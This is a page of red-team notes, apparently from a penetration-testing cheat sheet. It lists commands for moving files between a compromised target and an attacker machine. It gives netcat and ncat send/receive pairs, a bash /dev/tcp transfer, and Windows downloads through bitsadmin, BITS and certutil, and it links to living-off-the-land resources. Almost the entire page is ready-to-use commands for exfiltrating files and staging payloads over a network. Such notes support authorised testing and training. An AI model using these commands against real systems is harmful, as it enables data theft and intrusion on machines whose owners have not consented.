> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/utility/transferring-file/miscellaneous.md).

# Miscellaneous

{% tabs %}
{% tab title="Linux" %}
`+file download`   `+file upload`

{% embed url="<https://gtfobins.github.io/>" %}
{% endtab %}

{% tab title="Windows" %}
`/download`   `/upload`

{% embed url="<https://lolbas-project.github.io/>" %}
{% endtab %}
{% endtabs %}

## Netcat

File transfer from Target to Attacker

{% tabs %}
{% tab title="Listening on Attacker" %}
Attacker:

{% code overflow="wrap" %}

```bash
nc -l -p <PORT> > <NEW_NAME>
```

{% endcode %}

Target:

{% code overflow="wrap" %}

```bash
nc -q 0 <IP> <PORT> < <FILE>
```

{% endcode %}
{% endtab %}

{% tab title="Listening on Target" %}
Target:

{% code overflow="wrap" %}

```bash
nc -l -p <PORT> -q 0 < <FILE>
```

{% endcode %}

Attacker:

{% code overflow="wrap" %}

```bash
nc <IP> <PORT> > <NEW_NAME>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
cat < /dev/tcp/<IP>/<PORT> > <NEW_NAME>
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Ncat

File transfer from Target to Attacker

{% tabs %}
{% tab title="Listening on Attacker" %}
Attacker:

{% code overflow="wrap" %}

```bash
ncat -l -p <PORT> --recv-only > <NEW_NAME>
```

{% endcode %}

Target:

{% code overflow="wrap" %}

```bash
ncat --send-only <IP> <PORT> < <FILE>
```

{% endcode %}
{% endtab %}

{% tab title="Listening on Target" %}
Target:

{% code overflow="wrap" %}

```bash
ncat -l -p <PORT> --send-only < <FILE>
```

{% endcode %}

Attacker:

{% code overflow="wrap" %}

```bash
ncat <IP> <PORT> --recv-only > <NEW_NAME>
```

{% endcode %}

{% code overflow="wrap" %}

```bash
cat < /dev/tcp/<IP>/<PORT> > <NEW_NAME>
```

{% endcode %}
{% endtab %}
{% endtabs %}

## bitsadmin

Downloading files on Windows.

{% code overflow="wrap" %}

```powershell
bitsadmin /transfer wcb /priority foreground http://<IP>:<PORT>/<FILE> <NEW_NAME>
```

{% endcode %}

## BITS

Allows downloading and uploading files on Windows.

{% code overflow="wrap" %}

```powershell
Import-Module bitstransfer; Start-BitsTransfer -Source "http://<IP>:<PORT>/<FILE>" -Destination "<NEW_NAME>"
```

{% endcode %}

For the upload try to reverse the source and destination arguments, setting a [Server Python3 with Upload Option](/rednote/utility/server.md#python) (and self-signed certificate).

## certutil

Downloading files on Windows.

{% code overflow="wrap" %}

```powershell
certutil.exe -verifyctl -split -f http://<IP>:<PORT>/<FILE>
```

{% endcode %}
